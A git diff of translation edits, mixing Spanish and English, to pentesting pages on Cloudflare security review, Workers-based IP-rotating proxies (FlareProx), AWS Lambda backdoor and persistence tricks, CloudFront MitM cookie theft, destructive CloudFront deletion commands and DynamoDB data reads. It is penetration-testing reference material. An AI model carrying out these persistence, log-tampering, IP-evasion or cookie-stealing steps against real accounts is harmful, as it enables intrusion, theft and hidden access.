diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index edf325eec..0dac25503 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,12 +1,12 @@ -# Seguridad de Cloudflare +# Cloudflare Security {{#include ../../banners/hacktricks-training.md}} -En una cuenta de Cloudflare hay algunos **ajustes y servicios generales** que se pueden configurar. En esta página vamos a **analizar los ajustes relacionados con la seguridad de cada sección:** +In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-## Sitios web +## Websites Revisar cada uno con: @@ -14,9 +14,9 @@ Revisar cada uno con: cloudflare-domains.md {{#endref}} -### Registro de dominios +### Domain Registration -- [ ] En **`Transfer Domains`** comprueba que no sea posible transferir ningún dominio. +- [ ] En **`Transfer Domains`** comprobar que no sea posible transferir ningún dominio. Revisar cada uno con: @@ -24,37 +24,37 @@ Revisar cada uno con: cloudflare-domains.md {{#endref}} -## Analítica +## Analytics -_I couldn't find anything to check for a config security review._ +_No pude encontrar nada que revisar para una auditoría de configuración de seguridad._ ## Pages En cada Pages de Cloudflare: -- [ ] Busca **información sensible** en el **`Build log`**. -- [ ] Busca **información sensible** en el repositorio de **Github** asignado a Pages. -- [ ] Comprueba un posible compromiso del repo de Github vía **workflow command injection** o compromiso de `pull_request_target`. Más info en la [**Github Security page**](../github-security/index.html). -- [ ] Busca **vulnerable functions** en el directorio `/fuctions` (si existe), revisa los **redirects** en el archivo `_redirects` (si existe) y las **misconfigured headers** en el archivo `_headers` (si existe). -- [ ] Busca **vulnerabilidades** en la **web** mediante **blackbox** o **whitebox** si puedes **acceder al código** -- [ ] En los detalles de cada page `//pages/view/blocklist/settings/functions`. Busca **información sensible** en las **`Environment variables`**. -- [ ] En la página de detalles revisa también el **build command** y el **root directory** por **posibles inyecciones** para comprometer la página. +- [ ] Comprobar **información sensible** en el **`Build log`**. +- [ ] Comprobar **información sensible** en el **Github repository** asignado a Pages. +- [ ] Comprobar posible compromiso del repo de Github vía **workflow command injection** o compromiso `pull_request_target`. Más info en la [**Github Security page**](../github-security/index.html). +- [ ] Buscar funciones vulnerables en el directorio `/fuctions` (si existe), revisar los redirects en el archivo `_redirects` (si existe) y los encabezados mal configurados en el archivo `_headers` (si existe). +- [ ] Buscar **vulnerabilidades** en la **web page** mediante blackbox o whitebox si puedes acceder al código. +- [ ] En los detalles de cada página `//pages/view/blocklist/settings/functions`. Comprobar **información sensible** en las **`Environment variables`**. +- [ ] En la página de detalles revisar también el **build command** y el **root directory** buscando potenciales injections que puedan comprometer la página. ## **Workers** -En cada Worker de Cloudflare, comprueba: +En cada Worker de Cloudflare comprobar: -- [ ] Los triggers: ¿Qué hace que se dispare el worker? ¿Puede un **usuario enviar datos** que serán **usados** por el worker? -- [ ] En los **`Settings`**, comprueba las **`Variables`** que contengan **información sensible** -- [ ] Revisa el **código del worker** y busca **vulnerabilidades** (especialmente en lugares donde el usuario puede manejar la entrada) -- Comprueba SSRFs que retornen la página indicada que puedas controlar -- Comprueba XSSs que ejecuten JS dentro de una imagen svg -- Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un bucket R2 almacenando información en él obtenida desde la entrada. En ese caso, sería necesario comprobar qué capacidades tiene el worker sobre el bucket R2 y cómo podría ser abusado a partir de la entrada del usuario. +- [ ] Los triggers: ¿qué hace que el worker se ejecute? ¿Puede un **usuario enviar datos** que serán **usados** por el worker? +- [ ] En **`Settings`**, revisar las **`Variables`** que contengan **información sensible**. +- [ ] Revisar el **código del worker** y buscar **vulnerabilidades** (especialmente en puntos donde el usuario puede controlar el input). +- Comprobar SSRFs que retornen la página indicada que puedas controlar. +- Comprobar XSSs que ejecuten JS dentro de una imagen svg. +- Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un R2 bucket almacenando información en él obtenida del input. En ese caso, es necesario comprobar qué capacidades tiene el worker sobre el R2 bucket y cómo podría abusarse de ellas desde el input del usuario. > [!WARNING] -> Ten en cuenta que por defecto a un **Worker se le asigna una URL** como `..workers.dev`. El usuario puede configurarla a un **subdominio** pero siempre puedes accederla con esa **URL original** si la conoces. +> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. -Para un abuso práctico de Workers como pass-through proxies (rotación de IP, FireProx-style), consulta: +For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check: {{#ref}} cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -62,9 +62,9 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md ## R2 -En cada bucket R2 comprueba: +On each R2 bucket check: -- [ ] Configura la **CORS Policy**. +- [ ] Configure **CORS Policy**. ## Stream @@ -76,8 +76,8 @@ TODO ## Security Center -- [ ] Si es posible, ejecuta un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que resaltarán información interesante desde el punto de vista **de seguridad**. -- [ ] Simplemente **revisa esta información** en busca de malas configuraciones de seguridad e información interesante +- [ ] Si es posible, ejecutar un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que resaltarán información interesante desde el punto de vista de la **seguridad**. +- [ ] Simplemente **revisa esta información** en busca de misconfiguraciones de seguridad e información interesante. ## Turnstile @@ -92,14 +92,14 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> A diferencia de [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos — no soportan operaciones de reemplazo de cadenas ni expresiones regulares. Sin embargo, puedes configurar parámetros de redirección URL que afectan su comportamiento de matching y su comportamiento en tiempo de ejecución. +> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. -- [ ] Comprueba que las **expresiones** y **requisitos** para las redirecciones **tengan sentido**. -- [ ] Revisa también por **endpoints ocultos sensibles** que contengan información interesante. +- [ ] Comprobar que las **expressions** y **requirements** de los redirects **tengan sentido**. +- [ ] Comprobar también endpoints ocultos **sensitive** que puedan contener información interesante. ## Notifications -- [ ] Revisa las **notificaciones.** Estas notificaciones se recomiendan para seguridad: +- [ ] Revisar las **notifications.** Estas notificaciones se recomiendan para seguridad: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -119,22 +119,22 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Revisa todos los **destinos**, ya que podría haber **información sensible** (basic http auth) en las webhook urls. Asegúrate también de que las webhook urls usen **HTTPS** -- [ ] Como comprobación extra, podrías intentar **suplantar una notificación de cloudflare** a un tercero, quizás puedas de algún modo **inyectar algo peligroso** +- [ ] Comprobar todos los **destinos**, ya que podría haber **información sensible** (basic http auth) en las webhook urls. Asegúrate también de que las webhook urls usen **HTTPS**. +- [ ] Como comprobación extra, podrías intentar suplantar una notificación de cloudflare a un tercero; quizá puedas inyectar algo peligroso. ## Manage Account -- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, la **fecha de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**. +- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta**, la **fecha de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**. - [ ] Es posible ver el **tipo de plan** usado en la cuenta en **`Billing` -> `Subscriptions`**. -- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **role**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrator y Super Administrator. Pero si el **plan es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio. +- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **role**. Ten en cuenta que si el plan no es Enterprise, solo existen 2 roles: Administrator y Super Administrator. Pero si el plan usado es Enterprise, [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) pueden utilizarse para aplicar el principio de menor privilegio. - Por lo tanto, siempre que sea posible se **recomienda** usar el **Enterprise plan**. -- [ ] En Members es posible comprobar qué **miembros** tienen **2FA habilitado**. **Todos** los usuarios deberían tenerlo activado. +- [ ] En Members se puede comprobar qué **miembros** tienen **2FA enabled**. **Todos** los usuarios deberían tenerlo activado. > [!NOTE] -> Ten en cuenta que afortunadamente el role **`Administrator`** no otorga permisos para gestionar membresías (**no puede escalar privilegios o invitar** nuevos miembros) +> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) ## DDoS Investigation -[Revisa esta parte](cloudflare-domains.md#cloudflare-ddos-protection). +[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md index dffcebbf4..49ffbbcb7 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -1,28 +1,28 @@ -# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style) +# Abusar de Cloudflare Workers como pass-through proxies (rotación de IP, estilo FireProx) {{#include ../../banners/hacktricks-training.md}} -Cloudflare Workers pueden desplegarse como proxies HTTP transparentes donde la URL objetivo upstream la proporciona el cliente. Las solicitudes salen por la red de Cloudflare, por lo que el destino observa las IPs de Cloudflare en lugar de las del cliente. Esto refleja la conocida técnica FireProx en AWS API Gateway, pero usando Cloudflare Workers. +Cloudflare Workers pueden desplegarse como proxies HTTP transparentes de pass-through donde la URL objetivo upstream la suministra el cliente. Las solicitudes salen desde la red de Cloudflare, por lo que el objetivo observa las IPs de Cloudflare en lugar de las del cliente. Esto refleja la conocida técnica FireProx en AWS API Gateway, pero usando Cloudflare Workers. ### Key capabilities -- Soporte para todos los métodos HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) -- El target puede proporcionarse vía parámetro de consulta (?url=...), una cabecera (X-Target-URL), o incluso codificado en la ruta (por ejemplo, /https://target) -- Las cabeceras y el cuerpo se proxyean con filtrado de cabeceras hop-by-hop/según sea necesario -- Las respuestas se reenvían, preservando el código de estado y la mayoría de las cabeceras -- Suplantación opcional de X-Forwarded-For (si el Worker la establece desde una cabecera controlada por el usuario) -- Rotación extremadamente rápida/fácil desplegando múltiples endpoints de Worker y expandiendo las solicitudes +- Soporta todos los métodos HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) +- La URL de destino puede suministrarse mediante un parámetro de consulta (?url=...), un encabezado (X-Target-URL), o incluso codificada en la ruta (p.ej., /https://target) +- Los headers y el body se proxian a través con filtrado de hop-by-hop/encabezados según sea necesario +- Las respuestas se relayan de vuelta, preservando el código de estado y la mayoría de los encabezados +- Suplantación opcional de X-Forwarded-For (si el Worker lo establece desde un encabezado controlado por el usuario) +- Rotación extremadamente rápida/fácil desplegando múltiples endpoints de Worker y repartiendo las solicitudes ### How it works (flow) 1) El cliente envía una petición HTTP a una URL de Worker (`..workers.dev` o una ruta de dominio personalizado). -2) El Worker extrae el target ya sea de un parámetro de consulta (?url=...), la cabecera X-Target-URL, o un segmento de la ruta si está implementado. -3) El Worker reenvía el método entrante, las cabeceras y el cuerpo a la URL upstream especificada (filtrando cabeceras problemáticas). -4) La respuesta del upstream se transmite de vuelta al cliente a través de Cloudflare; el origen ve las IPs de egreso de Cloudflare. +2) El Worker extrae la URL de destino desde un parámetro de consulta (?url=...), el encabezado X-Target-URL, o un segmento de la ruta si está implementado. +3) El Worker reenvía el método, los encabezados y el body entrantes a la URL upstream especificada (filtrando encabezados problemáticos). +4) La respuesta del upstream se transmite de vuelta al cliente a través de Cloudflare; el origen ve las IPs de salida de Cloudflare. ### Worker implementation example -- Lee la URL de destino desde el parámetro de consulta, la cabecera o la ruta -- Copia un subconjunto seguro de cabeceras y reenvía el método/cuerpo original -- Opcionalmente establece X-Forwarded-For usando una cabecera controlada por el usuario (X-My-X-Forwarded-For) o una IP aleatoria -- Añade CORS permisivo y maneja preflight +- Lee la URL de destino desde el parámetro de consulta, un encabezado o la ruta +- Copia un subconjunto seguro de encabezados y reenvía el método/body original +- Opcionalmente establece X-Forwarded-For usando un encabezado controlado por el usuario (X-My-X-Forwarded-For) o una IP aleatoria +- Añade CORS permisivo y gestiona preflight
Ejemplo de Worker (JavaScript) para pass-through proxying @@ -133,12 +133,12 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1 ```
-### Automatizando el despliegue y la rotación con FlareProx +### Automatizando despliegue y rotación con FlareProx -FlareProx es una herramienta en Python que usa la Cloudflare API para desplegar muchos endpoints de Worker y rotar entre ellos. Esto proporciona una rotación de IP tipo FireProx desde la red de Cloudflare. +FlareProx es una herramienta en Python que usa la Cloudflare API para desplegar muchos Worker endpoints y rotar entre ellos. Esto proporciona rotación de IP estilo FireProx desde la red de Cloudflare. Configuración -1) Crea un Cloudflare API Token usando la plantilla “Edit Cloudflare Workers” y obtén tu ID de la cuenta desde el panel de control. +1) Crea un Cloudflare API Token usando la plantilla “Edit Cloudflare Workers” y obtén tu Account ID desde el panel de control. 2) Configura FlareProx: ```bash git clone https://github.com/MrTurvey/flareprox @@ -164,7 +164,7 @@ python3 flareprox.py create --count 2 ```bash python3 flareprox.py list ``` -- Endpoints de comprobación de estado: +- Prueba de salud endpoints: ```bash python3 flareprox.py test ``` @@ -173,15 +173,15 @@ python3 flareprox.py test python3 flareprox.py cleanup ``` **Enrutando tráfico a través de un Worker** -- Formato de parámetro de consulta: +- Formulario de parámetros de consulta: ```bash curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" ``` -- Formato del encabezado: +- Formulario de encabezado: ```bash curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev ``` -- Formato de ruta (si está implementado): +- Formato de path (si está implementado): ```bash curl https://your-worker.account.workers.dev/https://httpbin.org/ip ``` @@ -202,19 +202,19 @@ curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \ curl -X DELETE \ "https://your-worker.account.workers.dev?url=https://httpbin.org/delete" ``` -**`X-Forwarded-For` control** +**Control de `X-Forwarded-For`** -Si el Worker respeta `X-My-X-Forwarded-For`, puedes influir en el valor `X-Forwarded-For` upstream: +Si el Worker respeta `X-My-X-Forwarded-For`, puedes influir en el valor upstream de `X-Forwarded-For`: ```bash curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ "https://your-worker.account.workers.dev?url=https://httpbin.org/headers" ``` **Uso programático** -Usa la librería FlareProx para crear/listar/probar endpoints y enrutar solicitudes desde Python. +Usa la biblioteca FlareProx para crear/listar/probar endpoints y enrutar solicitudes desde Python.
-Ejemplo en Python: Enviar un POST vía un endpoint Worker aleatorio +Ejemplo en Python: Enviar un POST a través de un endpoint aleatorio de Worker ```python #!/usr/bin/env python3 from flareprox import FlareProx, FlareProxError @@ -267,15 +267,15 @@ print(f"Request error: {e}") ```
-**Burp/Scanner integración** -- Apunta la herramienta (por ejemplo, Burp Suite) a la Worker URL. +**Integración con Burp/Scanner** +- Apunta las herramientas (por ejemplo, Burp Suite) a la URL del Worker. - Proporciona el upstream real usando ?url= o X-Target-URL. -- Se preservan las semánticas HTTP (methods/headers/body) mientras se enmascara tu IP de origen detrás de Cloudflare. +- La semántica HTTP (methods/headers/body) se preserva mientras enmascaras tu IP de origen detrás de Cloudflare. **Notas operativas y límites** -- Cloudflare Workers Free plan permite aproximadamente 100,000 solicitudes/día por cuenta; usa múltiples endpoints para distribuir el tráfico si es necesario. -- Workers se ejecutan en la red de Cloudflare; muchos objetivos solo verán las IPs/ASN de Cloudflare, lo que puede eludir listas ingenuas de allow/deny por IP o heurísticas geográficas. -- Úsalo responsablemente y solo con autorización. Respeta los ToS y robots.txt. +- Cloudflare Workers Free plan allows roughly 100,000 requests/day per account; use multiple endpoints to distribute traffic if needed. +- Workers run on Cloudflare’s network; many targets will only see Cloudflare IPs/ASN, which can bypass naive IP allow/deny lists or geo heuristics. +- Usa responsablemente y solo con autorización. Respeta ToS y robots.txt. ## Referencias - [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 7a671bbc3..af3a524ad 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ Para más información consulta: ### Lambda Layer Persistence -Es posible **introduce/backdoor a layer to execute arbitrary code** cuando la lambda se ejecuta de forma sigilosa: +It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusando de Lambda Layers también es posible abusar de extensions y persistir en la Lambda, además de robar y modificar requests. +Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,7 +28,7 @@ aws-abusing-lambda-extensions.md ### Via resource policies -Es posible otorgar acceso a diferentes acciones de lambda (tales como invoke o update code) a cuentas externas: +Es posible conceder acceso a diferentes acciones de Lambda (como invoke o update code) a cuentas externas:
@@ -42,28 +42,28 @@ This way an attacker could create a **backdoored version 1** and a **version 2 w ### Version Backdoor + API Gateway -1. Copy the original code of the Lambda +1. Copia el código original de la Lambda 2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST -1. Call the API gateway related to the lambda to execute the code +1. Llama al API Gateway relacionado con la Lambda para ejecutar el código 3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. -1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` -1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Esto ocultará el código backdoored en una versión anterior +4. Ve al API Gateway y **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` +1. Fíjate en el :1 final del arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). +5. Selecciona el POST method creado y en Actions selecciona **`Deploy API`** +6. Ahora, cuando **call the function via POST your Backdoor** será invocado ### Cron/Event actuator -El hecho de que puedas hacer que las funciones Lambda se ejecuten cuando ocurre algo o cuando pasa cierto tiempo convierte a Lambda en una forma común para obtener persistencia y evitar la detección.\ -Aquí tienes algunas ideas para hacer tu presencia en AWS más sigilosa creando Lambdas. +El hecho de que puedas hacer que **las funciones lambda se ejecuten cuando ocurre algo o cuando pasa cierto tiempo** convierte a Lambda en una forma común y útil de obtener persistencia y evitar la detección.\ +Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**. -- Cada vez que se crea un usuario nuevo, una Lambda genera una nueva clave de usuario y la envía al atacante. -- Cada vez que se crea un rol nuevo, una Lambda otorga permisos de assume role a usuarios comprometidos. -- Cada vez que se generan nuevos cloudtrail logs, eliminarlos/alterarlos +- Cada vez que se crea un nuevo usuario una lambda genera una nueva user key y la envía al atacante. +- Cada vez que se crea un nuevo role una lambda otorga permisos de assume role a usuarios comprometidos. +- Cada vez que se generan nuevos logs de CloudTrail, elimínalos/alteralos ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -Abusa de la variable de entorno `AWS_LAMBDA_EXEC_WRAPPER` para ejecutar un script wrapper controlado por el atacante antes de que arranque el runtime/handler. Provee el wrapper mediante una Lambda Layer en `/opt/bin/htwrap`, configura `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, y luego invoca la función. El wrapper se ejecuta dentro del proceso runtime de la función, hereda el role de ejecución de la función y finalmente `exec`s el runtime real para que el handler original siga ejecutándose normalmente. +Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally. {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Abusa de Lambda asynchronous destinations junto con la configuración de Recursion para hacer que una función se reinvoque continuamente sin un scheduler externo (no EventBridge, cron, etc.). Por defecto, Lambda termina loops recursivos, pero configurar recursion a Allow los vuelve a habilitar. Las destinations entregan en el lado del servicio para invocaciones async, por lo que una única invocación semilla crea un canal de heartbeat/backdoor sigiloso y sin código. Opcionalmente limita con reserved concurrency para mantener el ruido bajo. +Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low. {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,7 +79,7 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -Crea una versión oculta de la Lambda con lógica del atacante y scopea una resource-based policy a esa versión específica (o alias) usando el parámetro `--qualifier` en `lambda add-permission`. Concede solo `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un principal atacante. Las invocaciones normales vía el nombre de la función o el alias principal permanecen sin afectar, mientras que el atacante puede invocar directamente el ARN de la versión backdoored. +Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN. This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias. @@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md ### Freezing AWS Lambda Runtimes -An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes. +Un atacante que disponga de permisos lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, y lambda:GetRuntimeManagementConfig puede modificar la runtime management configuration de una función. Este ataque es especialmente efectivo cuando el objetivo es mantener una función Lambda en una versión de runtime vulnerable o preservar compatibilidad con layers maliciosos que podrían ser incompatibles con runtimes más nuevos. -The attacker modifies the runtime management configuration to pin the runtime version: +El atacante modifica la runtime management configuration para fijar la versión del runtime: ```bash # Invoke the function to generate runtime logs aws lambda invoke \ @@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \ --function-name $TARGET_FN \ --region us-east-1 ``` -Opcional: Fijar una versión específica del entorno de ejecución +Opcional: fijar a una versión específica del runtime ```bash # Extract Runtime Version ARN from INIT_START logs RUNTIME_ARN=$(aws logs filter-log-events \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index d4a490ba6..6ad22523e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -4,16 +4,16 @@ ## CloudFront -Para más información consulta: +Para más información, consulta: {{#ref}} ../../aws-services/aws-cloudfront-enum.md {{#endref}} ### `cloudfront:Delete*` -Un atacante al que se le conceda cloudfront:Delete* puede eliminar distributions, policies y otros objetos críticos de configuración del CDN — por ejemplo distributions, cache/origin policies, key groups, origin access identities, functions/configs, y recursos relacionados. Esto puede causar interrupción del servicio, pérdida de contenido y eliminación de configuraciones o artefactos forenses. +Un atacante al que se le haya concedido cloudfront:Delete* puede eliminar distribuciones, políticas y otros objetos críticos de configuración de la CDN — por ejemplo distribuciones, políticas de caché/origen, key groups, origin access identities, funciones/configs y recursos relacionados. Esto puede causar interrupción del servicio, pérdida de contenido y eliminación de configuraciones o artefactos forenses. -Para eliminar una distribution un atacante podría usar: +Para eliminar una distribución un atacante podría usar: ```bash aws cloudfront delete-distribution \ --id \ @@ -21,20 +21,20 @@ aws cloudfront delete-distribution \ ``` ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde una **Lambda** podría añadirse (o modificarse si ya se está usando) en una **comunicación a través de CloudFront** con el propósito de **robar** información de usuario (como la **session cookie**) y **modificar** la **response** (inyectando un script JS malicioso). +Este [**artículo**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes en los que se podría añadir (o modificar si ya se está usando) una **Lambda** en la **comunicación a través de CloudFront** con el propósito de **robar** información de los usuarios (como la **cookie** de sesión) y **modificar** la **respuesta** (inyectando un script JS malicioso). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### escenario 1: MitM where CloudFront is configured to access some HTML of a bucket - **Crear** la **función** maliciosa. -- **Asociarla** con la distribución de CloudFront. -- **Establecer** el **event type** a "Viewer Response". +- **Asociarla** a la distribución de CloudFront. +- **Establecer el tipo de evento a "Viewer Response"**. -Accediendo a la response podrías robar la cookie de los usuarios e inyectar un JS malicioso. +Accediendo a la respuesta podrías robar la cookie de los usuarios e inyectar un JS malicioso. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### escenario 2: MitM where CloudFront is already using a Lambda function -- **Modificar el código** de la lambda function para robar información sensible +- **Modificar el código** de la función Lambda para robar información sensible -Puedes revisar el [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Puedes revisar el [**tf code para recrear estos escenarios aquí**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 4f62fc933..fe6bf54c5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -12,7 +12,7 @@ Para más información consulta: ### `dynamodb:BatchGetItem` -Un attacker con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (`describe-table`). +Un atacante con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas obteniendo los metadatos de la tabla (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc al localizar información sensible en la tabla +**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:GetItem` -**Similar a los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar: +**De manera similar a los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dada la clave primaria de la entrada a recuperar: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla +**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla ### `dynamodb:Query` -**Similar a los permisos anteriores** esta permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una petición. +**Similar a los permisos anteriores**, este permite a un atacante potencial leer valores de solo 1 tabla dada la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una solicitud. {{#tabs }} {{#tab name="json file" }} @@ -107,15 